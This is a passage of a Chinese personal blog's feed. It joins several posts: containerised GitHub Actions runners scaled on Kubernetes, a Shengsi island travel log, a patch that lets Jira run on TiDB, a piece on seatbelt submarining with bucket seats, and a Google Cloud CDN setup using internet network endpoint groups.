export RUNNER_TOKEN=$(echo $payload | jq .token --raw-output)
if [ -z "${RUNNER_NAME}" ]; then
RUNNER_NAME=$(hostname)
fi
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"
# 在容器被干掉的时候自动向 GitHub 解除注册 Runner
remove() {
if [ -n "${GITHUB_RUNNER_TOKEN}" ]; then
export REMOVE_TOKEN=$GITHUB_RUNNER_TOKEN
else
payload=$(curl -sX POST -H "Authorization: token ${GITHUB_PAT}" ${token_url%/registration-token}/remove-token)
export REMOVE_TOKEN=$(echo $payload | jq .token --raw-output)
fi
./config.sh remove --unattended --token "${RUNNER_TOKEN}"
}
trap 'remove; exit 130' INT
trap 'remove; exit 143' TERM
./runsvc.sh "$*" &
wait $!
Build + 运行:
docker build . -t n0vad3v/github-runner
docker run -v /var/run/docker.sock:/var/run/docker.sock -e GITHUB_PAT="ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT" -e GITHUB_ORG_NAME="some-github-org" -it n0vad3v/github-runner
此时你就可以看到你的 Org 下多了一个船新的 Runner 了,现在终于可以利用上自己的机器快速跑任务不排队,而且性能比 GitHub Actions 强了~
但是这样并不 Scale,所有的 Runner 都需要手动管理,而且,GitHub Actions 如果同时写了多个 Job ,然后 Runner 数量小于 Job 数量的话,部分 Job 就会一直排队,对于排队时间的话:
Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.
那这个肯定是没法接受的,正好手边有个 k8s 集群,对于这类基本无状态的服务来说,让 k8s 来自动管理他们不是最好的嘛,于是可以想到写一个 Deployment,比如这样:
apiVersion: apps/v1
kind: Deployment
metadata:
name: github-runner-some-github-org
labels:
app: githubrunner
spec:
replicas: 10
selector:
matchLabels:
app: githubrunner
template:
metadata:
labels:
app: githubrunner
spec:
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
type: File
containers:
- name: github-runner-some-github-org
imagePullPolicy: Always
image: 'n0vad3v/github-runner'
env:
- name: GITHUB_PAT
value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
- name: GITHUB_ORG_NAME
value: "some-github-org"
- name: RUNNER_LABELS
value: "docker,internal-k8s"
volumeMounts:
- mountPath: /var/run/docker.sock
name: docker-sock
readOnly: false
kubectl apply -f action.yml -n novakwok,打上 Tag, 起飞!
[root@dev action]# kubectl get po -n novakwok
NAME READY STATUS RESTARTS AGE
github-runner-some-github-org-deployment-9cfb598d9-4shrk 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-5rnj4 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-cvkr9 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-dmbnp 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-ggl24 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-gkgzx 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-jcscq 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-lrrxh 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-pn9cn 1/1 Running 0 26m
github-runner-some-github-org-deployment-9cfb598d9-wj2tj 1/1 Running 0 26m

由于我的需求比较特殊,我需要在 Runner 内使用 Docker 相关的指令(比如需要在 Runner 上 docker build/push),这里测试一下 Runner 是否可以正常工作,首先创建一个多 Job 的任务,像这样:
name: Test
on:
push:
branches: [ main ]
jobs:
test-1:
runs-on: [self-hosted,X64]
steps:
- uses: actions/checkout@v2
- name: Run a one-line script
run: |
curl ip.sb
df -h
lscpu
docker pull redis
test-2:
runs-on: [self-hosted,X64]
steps:
- uses: actions/checkout@v2
- name: Run a one-line script
run: |
curl ip.sb
df -h
lscpu
docker pull redis
test-3:
runs-on: [self-hosted,X64]
steps:
- uses: actions/checkout@v2
- name: Run a one-line script
run: |
curl ip.sb
df -h
lscpu
pwd
docker pull redis
然后跑一下看看是否可以 Work,首先确定是调度到了 Docker Runner 上:

然后看看 Docker 相关的操作是否可以 Work

好耶!
有的时候会由于一些诡异的问题导致 Runner 掉线(比如 Remove 的时候网络断了之类的),这种之后 Org 下就会有一堆 Offline 的 Runner,为了解决这种情况,我们可以写一个简单的脚本来进行 GC,脚本如下:
import requests
import argparse
parser = argparse.ArgumentParser(description='GC Dead Self-hosted runners')
parser.add_argument('--github_pat', help='GitHub Personal Access Token')
parser.add_argument('--org_name', help='GitHub Org Name')
args = parser.parse_args()
def list_runners(org_name,github_pat):
list_runner_url = 'https://api.github.com/orgs/{}/actions/runners'.format(org_name)
headers = {"Authorization": "token {}".format(github_pat)}
r = requests.get(list_runner_url,headers=headers)
runner_list = r.json()['runners']
return runner_list
def delete_offline_runners(org_name,github_pat,runner_list):
headers = {"Authorization": "token {}".format(github_pat)}
for runner in runner_list:
if runner['status'] == "offline":
runner_id = runner['id']
delete_runner_url = 'https://api.github.com/orgs/{}/actions/runners/{}'.format(org_name,runner_id)
print("Deleting runner " + str(runner_id) + ", with name of " + runner['name'])
r = requests.delete(delete_runner_url,headers=headers)
if __name__ == '__main__':
runner_list = list_runners(args.org_name,args.github_pat)
delete_offline_runners(args.org_name,args.github_pat,runner_list)
用法是:python3 gc_runner.py --github_pat "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT" --org_name "some-github-org"
除了我们自身硬件限制以外,GitHub Actions 本身还有一些限制,比如:
其中 API requests 这个比较玄学,由于 GitHub Actions 的工作方法官方介绍如下:
The self-hosted runner polls GitHub to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS long poll that opens a connection to GitHub for 50 seconds, and if no response is received, it then times out and creates a new long poll.
所以不是很容易判断怎么样才算是一个 API request,这一点需要在大量使用的时候才可能暴露出问题。
这里有个小坑,容器内的 Git 版本建议在 2.18 以上,Ubuntu 18.04 没问题(默认是 2.22.5),但是 arm64v8/ubuntu:18.04 官方源包管理工具的 Git 版本是 2.17,如果用这个版本的话,会遇到这种问题:

所以需要编译一个高版本的 Git,比如 Dockerfile 可以加上这么一行:
apt install -y gcc libssl-dev libcurl4-gnutls-dev zlib1g-dev make gettext wget
wget https://www.kernel.org/pub/software/scm/git/git-2.28.0.tar.gz && tar -xvzf git-2.28.0.tar.gz && cd git-2.28.0 && ./configure --prefix=/usr/ && make && make install
如上,我们已经把 Runner 封进了 Docker 容器中,并且在需要 Scale 的情况下通过 k8s 进行水平扩展,此外,我们还有一个简单的 GC 程序对可能异常掉线的 Runner 进行 GC,看上去已经满足了一些初步的需求啦~
但是这样还是有一些问题,比如:

在看过了 LASTBUS 的 【EVO9/1M/RS3/Polestar2】这些开起来就让人笑的车,到底有怎样的驾驶乐趣?| LASTBUS TV 之后,决定带上朋友们,一起去嵊泗看看~
从上海虹桥出发,开 2 个小时的车,穿过东海大桥,历经 120+ KM,便可以到达由洋山港上由上海公司运营的,而实际上是属于浙江舟山市嵊泗县的沈家湾码头。
关于洋山港也有一个比较有意思的点:
“一港一政”是国际港口的一般特性,而洋山港是超越《中华人民共和国港口法》的唯一特例。由于港口修建在浙江省的管辖范围内,名义上归属于浙江省管辖,浙江曾希望洋山港的部分税费能交到浙江,后来因为码头公司都在上海注册,而且航政、港政等管理都归上海管辖,浙江并没有税费可分。业内人士认为,有关部门的不明确态度对洋山港日后发展会产生一定的不利影响。
附上沈家湾码头夜景两张:

要从上海出发到达嵊泗,唯一可行的路线便是通过沈家湾码头出发的船,由于我们打算带车上岛,所以可选的只有「客滚船」这一个选项,这个类型的船在平时一般每天只有 3 趟,到了旅游旺季(或者节假日)可能会酌情多一些,但也不会超过 7 趟,每趟船可以买的票只有 25 张,所以到了每天早上 07:00 开始放票的时间便是异常紧张,由于他们的售票系统是一个前后端分离的项目,购票只需要调用 API 接口,所以自然而然地想到通过程序购买,由于买船票的时间是出发日的 5 天前,酒店/火车票/行程都已经提前订好了,所以这段程序的编写和调试,次次都是捏着汗的,紧张程度堪比生产环境 kubectl apply -f,因为一旦有任何 Bug,几乎就意味着去不了嵊泗,或者没法从嵊泗回来了。
客滚船上类似这个样子:
一开始看到在排队的车和远处的船的时候还在想有没有可能排到自己的时候就上不去了,后来才发现完全多虑了,由于本地居民有绿色通道,每趟船都会有很多的预留,当天我们上船之后船上可能还有差不多 1/3 的空间(估计还能再放 10 辆车)。
好在程序写的还算过关,没有在运行的时候出什么大的纰漏,才得以由此游记
上岛,开冲!
从沈家湾开始,大量的 浙L 映入眼帘,到了嵊泗本岛更是 浙L 的天下,如果说大部分苏州的 苏U 和 苏E 的特色是变道从来不大转向灯的话,那么 浙L 就是在苏州的基础上加上了一个:大量使用喇叭,随意停车,几乎从来不会闪远光灯。
由于嵊泗很小,从岛的最北段(码头)穿到岛的最东边(和尚套)可能不超过 40 分钟,所以在嵊泗上的几天我们基本开车把整个岛(以及通过桥梁连接的几个附属岛)转过 2 遍,主干道可能开过不下 4 遍,对于路面来说,大部分岛内路面没有测速,从码头到 基湖沙滩 的路全程测 40,如果想要跑山的话建议试试看「高大线」,连绵起伏的山脉+没有测速+高速下坡急弯,可以对你的轮胎和制动系统带来非常大的挑战,堪称舟山市的 Nürburgring(跑~
在嵊泗本岛上,没有我们常见的 X家,X庭等,大部分都是 xx 小庄 这种,在订购的页面上看上去图片可能非常好看,价格普遍在旺季会溢价一倍,但是可以从百度地图的街景图上发现基本都是农家 4 层楼改出来的「酒店/民宿」,所以在住方面可以多参考参考其他人游记的想法,同时可以结合百度街景图防止上当,住下来整体给我的感受是:基湖沙滩/东海渔村是两个比较集中的旅游区,前者比较老,后者的住宿条件普遍好于前者,而且后者还自带一个免费沙滩,Just across the road.
东海渔村从山上眺望看上去是这样的:

由于感觉嵊泗岛类似一个旅游城市,所以岛上的人数会随着节假日与否变化巨大,加上上面所说的大部分能订到的住宿都是农家楼改出来的,所以一旦到了淡季,可能在外玩了一天的你回到 “酒店” 发现整个 “酒店” 没有任何房间的灯是亮的,夜间一个人走进黑漆漆的楼,上楼透过安静的走到走到自己的房间门口的路上,还是有些略显诡异和恐怖。
似乎很多人上嵊泗主要是为了吃海鲜,除了海鲜之外,一般各大餐厅中还会有「炒土豆丝」(
如果想在嵊泗上吃吃喝喝的话,可以考虑在实际进店前多看看各类 APP 上的评测,减少踩坑的概率,此外,如果你和我一样不太喜欢旅游区的高消费/低质量食物的话,可以考虑去岛上唯一一个「城区」(菜园镇)上看看,那边有比较符合正常物价的商品和餐厅。
嵊泗上有不少(人造的)沙滩,有的收费,有的免费,如果有兴趣下海玩的话拖鞋和泳裤似乎是必不可少的,由于「大部分能订到的住宿都是农家楼改出来的」,所以这类房间一般配的拖鞋都不是一次性的,如果能接受的话完全可以不用额外带拖鞋,直接带上住处自带的拖鞋下海即可。
上图为天悦湾的沙滩,门票 50 CNY 一个人,由于门票只要是当天的即可反复进出大门,理论上来说可以直接低价买出来的人的门票,或者去买他们宣称的只要 40 万的靠近上海的海景房(然后就可以免费进入沙滩)(
(当天我们去的时候发现没有拖鞋,然后当地商店超市拖鞋卖到 20 CNY 一双,考虑到距离住的地方开车只有 8 分钟车程,果断开车回去拿「民宿」自带的拖鞋,有车真香)
由于规划问题,我们只去了唯一一个景区——和尚套。听「民俗」老板的意思是:一个月中有一段时间是大潮,那段时间水是浑浊的,我们去的时候刚好是小潮,所以感觉海水质量还行,例如下图是在和尚套景区拍摄的对面的一个岛屿(非旅游岛)的景象:

靠近海边的区域可能水的颜色会有点发黄,海中间的海水也只能说是比较蓝,总体来讲,到达嵊泗之后的沿着海开车遇到的每个路口都觉得非常好看,都会停车拍照,然后大概半天新鲜劲过了之后,看到海也觉得平平无奇了,可能当地居民也是和我们一样的想法吧。
那 可 是 到 处 都 是 啊,无论是港口:

还是景区旁边的海边:

哪儿都有钓鱼佬的身影。
用一句话总结整个旅途:海鲜感觉味道一般,全城免费停车,景点门票太贵,来回带车船票不好买,挑选住所有难度,符合一般海景小岛的体验。
以上。
]]>以上 Overlay 网络均由 Wireguard 实现
Jira 的母公司 Atlassian 可能对于普通用户来说没啥概念,在他们收购了 Trello (那就不得不有概念了) 了之后,似乎成为了 kanban 类节目的行业老大,Jira 就是一个企业常用的 Issue 管理平台,凭借着超高的内存占用,昂贵的售价和 Java 的风格独领风骚。(但是好用是真的,只需要创建 Issue ,Assign 给对应人,就可以持续追踪整个事情的进度了),只要他别像下图这样操作就好(啥都不记录,然后 6s 内就从 Development 到 Resolved):

TiDB 既然是一个兼容 MySQL 协议的数据库,自然我们希望把 Jira 也直接跑在上面,防止单机数据库宕机或磁盘损坏导致的潜在的不可用的问题。参考「在 Docker 中部署 Jira 和 Confluence 並連接到 Amazon RDS」一文,很自然的我们就会想到启动一个 Jira 的实例,并开始连接 TiDB,其中 Jira 的 docker-compose.yml 文件内容如下:
version: '3.3'
services:
jira-software:
image: atlassian/jira-software:8.16.0
volumes:
- ./jira_data:/var/atlassian/application-data/jira
- ./jira_lib/mysql-connector-java-5.1.49-bin.jar:/opt/atlassian/jira/lib/mysql-connector-java-5.1.49-bin.jar
- ./jira_lib/mysql-connector-java-5.1.49.jar:/opt/atlassian/jira/lib/mysql-connector-java-5.1.49.jar
- ./jira_lib/mysql-connector-java-8.0.23.jar:/opt/atlassian/jira/lib/mysql-connector-java-8.0.23.jar
ports:
- '8080:8080'
这里 TiDB 出于简单考虑,我们直接使用 tiup playground:
tiup playground v5.0.1 --host "0.0.0.0" --tiflash 0
创建数据库:
CREATE DATABASE jiradb CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
然后配置数据库,就可以…

换个 MySQL 8.0 试试?

咦?

通过阅读 Jira 的文档我们知道,如果使用 MySQL 数据库,需要设置一下 my.ini ,根据文档 Connecting Jira to MySQL 8.0 可以了解到,需要设置以下内容:
default-storage-engine=INNODB
character_set_server=utf8mb4
innodb_default_row_format=DYNAMIC
innodb_log_file_size=2G
所以如果你用我整理好的 Jira 可用的 MySQL 配置(在 https://github.com/n0vad3v/dockerfiles/tree/master/simple-mysql/jira 中)启动 MySQL 的话,可以通过:
SHOW VARIABLES LIKE 'character_set_server';
SELECT @@innodb_default_row_format;
SELECT @@innodb_file_format;
SELECT @@innodb_large_prefix;
发现在 MySQL 下这些参数的表现如下:
mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name | Value |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.01 sec)mysql> SELECT @@innodb_default_row_format;
+-----------------------------+
| @@innodb_default_row_format |
+-----------------------------+
| dynamic |
+-----------------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| Barracuda |
+----------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
而如果在 TiDB 下执行的话,是如下结果:
mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name | Value |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.51 sec)mysql> SELECT @@innodb_default_row_format;
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| Antelope |
+----------------------+
1 row in set (0.00 sec)mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (0.00 sec)
可以看到有些系统变量不太一致,这个时候第一反应就是:
mysql> set @@global.innodb_default_row_format = "dynamic";
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> set @@global.innodb_file_format = "barracuda";
Query OK, 0 rows affected (0.03 sec)
mysql> set @@global.innodb_large_prefix = 1;
Query OK, 0 rows affected (0.00 sec)
然后重新连接确认:
mysql> SHOW VARIABLES LIKE 'character_set_server';
+----------------------+---------+
| Variable_name | Value |
+----------------------+---------+
| character_set_server | utf8mb4 |
+----------------------+---------+
1 row in set (0.62 sec)
mysql> SELECT @@innodb_default_row_format;
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
mysql> SELECT @@innodb_file_format;
+----------------------+
| @@innodb_file_format |
+----------------------+
| barracuda |
+----------------------+
1 row in set (0.01 sec)
mysql> SELECT @@innodb_large_prefix;
+-----------------------+
| @@innodb_large_prefix |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
看上去除了 innodb_default_row_format 以外其他的都和 MySQL 的一致了,我们再来试试看:

所以猜测可能就是 innodb_default_row_format 的不一致导致了上述问题。
由于报错信息只显示一个「This MySQL instance is not properly configured.」,而且容器日志中没有任何相关的 ERROR 日志,反正只要有任何不对 Jira 就说「not properly configured」…

既然上述猜测没法石锤,作为 Jira 的订阅用户,可以通过阅读源码的方式来判断到底 Jira 在启动的时候检查了什么。
通过 rg 可以快速找到,在 jira-project/jira-components/jira-core/src/main/resources/com/atlassian/jira/web/action/JiraWebActionSupport.properties 文件的中,这个报错信息是被定义在一个变量中了(而且一个等号两边有空格一个没有,非常迷惑)
13299:setupdb.error.mysqlVersion57.wrong.default.configuration=This MySQL instance is not properly configured. Please follow <a target="_blank" href="{0}">the documentation for MySQL 5.7 setup</a>.
13301:setupdb.error.mysqlVersion8.wrong.default.configuration = This MySQL instance is not properly configured. Please follow <a target="_blank" href="{0}">the documentation for MySQL 8 setup</a>.
继续 rg "setupdb.error.mysqlVersion57.wrong.default.configuration" ,可以发现,在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/web/action/setup/SetupDatabase.java 中有使用,查看相关代码可以发现:
try (Connection conn = databaseConfiguration.getDatasource().getConnection(bootstrapManager)){
isDatabaseEmpty = databaseConfiguration.isDatabaseEmpty(bootstrapManager);
if ("mysql57".equals(databaseConfiguration.getDatabaseType())) {
isMySQL57VersionCorrect = new MySQL57OrLaterVersionPredicate().test(conn);
isMySQL57ConfigurationCorrect = new MySQL57DefaultRowFormatChecker().test(conn);
} else if ("mysql8".equals(databaseConfiguration.getDatabaseType())) {
isMySQL8VersionCorrect = new MySQL8VersionPredicate().test(conn);
isMySQL8ConfigurationCorrect = new MySQL8ConfigurationChecker().test(conn);
}
} catch (BootstrapException | SQLException e) {
...
}
所以对于 MySQL 5.7 来说,就是:
而对于 MySQL 8.0 来说,是:
分别找到对应函数的定义,可以发现,在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL57OrLaterVersionPredicate.java 中,会检查 MySQL 5.7 模式下是否是真的 MySQL 5.7:
if ( major < 5 || (major == 5 && minor < 7) || major > 5) {
return false;
} else {
return true;
}
} catch (SQLException ex) {
return false;
}
且在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL57DefaultRowFormatChecker.java 中可以看到:
try {
return "DYNAMIC".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_default_row_format")) &&
"utf8mb4".equalsIgnoreCase(res.loadGlobalVariableFromServer("character_set_server")) &&
"Barracuda".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_file_format")) &&
"on".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_large_prefix"));
} catch (SQLException ex) {
return false;
}
而对于 MySQL 8.0 模式下,我们可以在 jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/config/database/MySQL8ConfigurationChecker.java 文件中找到:
try {
MySQLGlobalVariableResolver res = new MySQLGlobalVariableResolver(connection);
return "DYNAMIC".equalsIgnoreCase(res.loadGlobalVariableFromServer("innodb_default_row_format")) &&
"utf8mb4".equalsIgnoreCase(res.loadGlobalVariableFromServer("character_set_server"));
} catch (SQLException ex) {
return false;
}
通过以上代码可以判定, Jira 在初始化数据库的时候会对数据库有以下检查:
MySQL 5.7 模式
!(major < 5 || (major == 5 && minor < 7) || major > 5)innodb_default_row_format 为 DYNAMICcharacter_set_server 为 utf8mb4innodb_file_format 为 Barracudainnodb_large_prefix 为 onMySQL 8.0 模式
innodb_default_row_format 为 DYNAMICcharacter_set_server 为 utf8mb4这样看来可以解释上面遇到的以下问题:
Server version: 5.7.25-TiDB-v5.0.1 TiDB Server (Apache License 2.0) Community Edition, MySQL 5.7 compatible ,显示的是 5.7innodb_default_row_format 这个变量通过上文源码的分析我们可以发现 Jira 在使用 MySQL 8.0 的时候对数据库的检查更少(此外,这里还有一个未展开的问题,Jira 会使用到名为 LEAD 的字段,使用 MySQL 5.7 模式会报错),所以我们决定使用 MySQL 8.0 模式来初始化 Jira。
第一个问题就是 TiDB 的 Version ,我们希望 Jira 认为他是一个真正的 MySQL 8.0 ,所以需要让 TiDB “伪装"一下,通过查阅我们文档站 https://docs.pingcap.com/tidb/stable/tidb-configuration-file#server-version,可以发现有一个 server-version 的变量可以让 TiDB 的 Version 显示为一个不同的值,所以创建一个叫 8.0.toml 的文件,内容写一行:
server-version = "8.0.0-How-Ever-This-Is-TiDB-v5.0.1"
然后通过以下命令启动:
tiup playground v5.0.1 --host "0.0.0.0" --tiflash 0 --db.config ./8.0.toml
可以发现 TiDB 已经显示出了我们需要的版本:
~ # mysql -u root -h localhost -P4000
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1367
Server version: 8.0.0-How-Ever-This-Is-TiDB-v5.0.1 TiDB Server (Apache License 2.0) Community Edition, MySQL 5.7 compatible
接下来就是 innodb_default_row_format 这个变量的问题了,通过上文我们也发现,使用 set @@global.innodb_default_row_format = "dynamic"; 是无效的,会返回:
ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'
所以可以判断出 TiDB 没有对应的系统变量,既然没有变量,那我们就 Mock 一个上去,在 https://github.com/pingcap/tidb/blob/master/sessionctx/variable/sysvar.go#L503 中我们可以发现 TiDB 的系统变量的定义的位置:
var defaultSysVars = []*SysVar{
{Scope: ScopeGlobal, Name: MaxConnections, Value: "151", Type: TypeUnsigned, MinValue: 1, MaxValue: 100000, AutoConvertOutOfRange: true},
...
}
同时还能发现对应的注释:
// ScopeNone means the system variable can not be changed dynamically.
ScopeNone ScopeFlag = 0
// ScopeGlobal means the system variable can be changed globally.
ScopeGlobal ScopeFlag = 1 << 0
// ScopeSession means the system variable can only be changed in current session.
ScopeSession ScopeFlag = 1 << 1
考虑到之前是使用的 v5.0.1 版本的 TiDB,所以就是:
git clone https://github.com/pingcap/tidb
git checkout v5.0.1
由于我不怎么会写代码,所以只能照葫芦画瓢在 var defaultSysVars = []*SysVar{ 底下糊上一行:
{Scope: ScopeNone, Name: "innodb_default_row_format", Value: "dynamic"},
加完这一行后 make,然后把 bin/tidb-server 替换到 /root/.tiup/components/tidb/v5.0.1/tidb-server 这个文件中,然后重新启动数据库。

然后就可以正常安装使用啦~

以上。
很早之前在听到有朋友遭遇不太严重交通事故锁骨被安全带勒到骨裂的事情后,便开始想对于我们传统乘用车上安全带的一些改进,最近正好有机会体验了一下 5 点安全带+桶椅带来的包裹感之后,便有了如下不成熟的想法:
要提升体验+安全性,直接买个桶椅,然后上 5 点安全带不就可以了么?上路的话三点安全带一起系上还不会被电子眼误判
就像: ATS-L改TAKATA四点式安全带 一文中说的:
平时开车可以用,如果是改装了竞技方向盘的朋友建议一定要用。但是三点式安全带还是要扣上,因为有些摄像头识别不出四点式,会误判你没有扣安全带,导致违章。
在赛道上,三点式安全带就可以彻底不用了,但是车子跑起来之后会报警,所以我居然找到了安全带插片的合理用法。
随便上网搜一下桶椅 + 多点安全带,看上去最低不到 3000 CNY 的价格可以给自己的车带来颜值,操控和安全的提升,何乐而不为呢?
我一向信以为然,直到了解到了一个东西,叫做 —— Seatbelt submarining,简单来说就是在安全带未稳定固定你的身体的时候,在遭遇交通事故时可能会由于身体下潜而导致额外的非常严重的损伤,什么是安全带未稳定固定你的身体,见下图(也可以参考这个 YouTube 视频: RideTight Submarining Demonstration):

为什么可能会导致这种情况呢?我们可以来回忆一下我们市面上买到的桶椅一般是什么样子的?

对于这种大家能买到的桶椅,买回去之后如果继续使用三点式安全带一般是什么样子的呢?我们可以参考:进气升级 改不好比原厂还慢 中 05:39 的画面:

可以发现三点式安全带与座位平行的部分在这个时候被张紧在了椅子的外侧(而不是直接绑在人的身上),对于驾驶员来说是比较松的,在碰撞时可能会出现下潜的问题。此外,还有一个风险点,那就是原厂座椅上的侧气囊没有了。
所以,如果只是为了提升座椅包裹度的话,可以参考一下其他座椅侧边较厚的安全带位置是如何设计的,比如 AMG 的这个:

当然这个时候如果你能接受「原厂座椅上的侧气囊没有」的风险,并且给自己加装了多(>3)点式安全带(可能还加上了防滚架),并感觉已经非常放心的话,可以想想汽车说明书上一句不太起眼的话:
在所有类型的碰撞中,安全带是最佳保护装置。气囊设计用于辅助安全带,而不是代替安全带。因此,即使车辆配有气囊,也要确保您和您的乘客始终正确系紧安全带。
气囊可以在发生正面碰撞的时候减少身体与车身碰撞所造成的伤害,对于多点安全带来说,驾驶员的身体是一直被牢牢绑在座位上,在发生正面碰撞的时候,唯一随着惯性向前移动的部分是头部,意味着这个时候驾驶员的颈椎会承受非常大的拉力,可能反而增加了受到严重伤害的概率。
这一点赛车上的解决方案是——HANS,「HANS系统是附着在座椅上的一个小型装置,随安全带固定在车手的肩部和胸部;, 面对高速撞击时,在安全带的保护下,车手的身体能被拉住固定在座椅上,但头部还是会猛地向前摆动,此时颈部将承受巨大的冲击力。而在佩戴HANS系统的情况下,滑绳将抑制住头部向前摆动的趋势,冲击力也将被从颈椎分散至胸部、躯干、肩膀等处。」,如下图左边所示:

而这一点在民用车上似乎可实践性不是很高…
如果在民用车上也用上完整的一套设备(包括头盔),在路上开车一来视线受阻,二来没法观察到各种盲区(比如 A 柱后方),三来长时间驾驶也非常不舒服。
街头赛车没有奖杯,只有眼泪.
民用车和赛车的安全体系是两套完全不同的体系,对于民用车而言,靠的主要是:安全带,多个气囊来减少冲击带来的损伤,而在赛车上,主要依靠:桶椅(固定车手),Windows Net(防止翻滚时身体被甩出窗外),防滚架(减少翻滚时和被猛烈撞击时)车辆变形,多点安全带(固定车手),HANS(保护车手脖子),头盔,防火服构成。如果随意互相借用,可能会给驾驶员一种安全的错觉,实则引入了新的安全风险。
但是我们到底应该如何解决开头说的「锁骨被安全带勒到骨裂」这个问题呢?说实话,我还没有答案。

这样互联网的流量便是:用户 -> Google CDN 边缘节点 -> Google Load Balancer -> GCP Instance -(Wireguard)-> 实际的后端应用
虽然 Google CDN 很快,但是在这样一个网络结构下我们需要单独配置 GCP Instance 上的转发和到实际应用服务器上的隧道,增加了维护成本和机器费用。
无独有偶,前两天在排查 CDN 上的一个请求超时问题的时候发现 GCP 文档上多了这么一篇文章 Internet network endpoint groups overview
A network endpoint group (NEG) defines a set of backend endpoints for a load balancer. An internet NEG is a backend that resides outside of Google Cloud.
You should do this when you want to serve content from an origin that is hosted outside of Google Cloud, and you want your external HTTP(S) load balancer to be the frontend.
那还有什么好说的,直接上呗!
首先是根据文档 Setting up a load balancer with a custom origin,创建一个 Custom Origin,这里需要填写端口信息,类比 Cloudflare 的 Full SSL,如果希望 Google 回源的时候使用 SSL 的话,填写 443,类似下图(图中 123.34.44.11 指的是源站 IP):

在这种情况下,GCP CDN 不会对源站的 SSL 进行检查(类似 Cloudflare 的 Full SSL),所以源站可以使用自签 SSL,如果希望对源站 SSL 检查的话,可以填写一个 FQDN(注意,这里的 FQDN 必须是 Google DNS 可以解析的地址)。
配置源站也非常简单,这里给个 Example:
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
ssl_certificate /etc/nginx/ssl/ssl.pem;
ssl_certificate_key /etc/nginx/ssl/ssl.key;
server_name nova.moe;
root /path/to/nova.moe;
index index.html;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
if ($http_x_forwarded_proto = "http") {
return 301 https://$host$request_uri;
}
absolute_redirect off;
}
文章最初提到的超时问题表现情况如下:
首先需要修改 Nginx 的 keepalive 时间(默认只有 75s),根据 External HTTP(S) Load Balancing overview 的建议,加入以下行:
keepalive_timeout 620s;
对于 499 的问题,加入如下后解决:
proxy_ignore_client_abort on
有了成功的尝试之后我们就可以对比一下这种模式的效果如何了,直接上对比图,其中从左到右分别是:

可以看到,在使用 NEG 的情况下,由于没有额外的 WG 隧道 + GCP 机器转发,TTFB 时间稳定减少了一些,且由于大部分流量在 Google 内网内,TTFB 时间均值远好于 Cloudflare 的直接源站反代回源方式。
在之前的模式中,GCP 回源 IP 只有以下两个段:
在 NEG 的情况下,回源 IP 段是动态的,可以通过以下命令来获得:
dig TXT _cloud-eoips.googleusercontent.com | grep -Eo 'ip4:[^ ]+' | cut -d':' -f2
比如本文写作时得到的 IP 段是:
经过测试,在使用 NEG 的情况下,Google CDN 和 Cloudflare + Argo 回源策略类似,即尽量通过 Google 内网的优化线路回到源站(例如:荷兰访客 -> Google CDN 荷兰节点 -(尽量通过 Google 内网)-> 日本 GCP -> 日本源站),举例如下,这是两个 Nginx 源站服务器上的 Nginx 日志:
34.96.7.32 - - [05/Mar/2021:13:58:47 +0800] "HEAD / HTTP/1.1" 200 0 "https://nova.moe" "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)"
34.96.5.143 - - [05/Mar/2021:14:00:01 +0800] "GET /feed/ HTTP/1.1" 200 304945 "https://nova.moe/feed/" "FreshRSS/1.17.0 (Linux; https://freshrss.org)"
分別 tracepath 结果如下(从 Linode 日本):
linode ~ # nali-tracepath 34.96.7.32
1?: [LOCALHOST] pmtu 1500
1: 139.162.65.3 [日本 东京都品川区 Linode 数据中心] 0.770ms
1: 139.162.65.3 [日本 东京都品川区 Linode 数据中心] 2.776ms
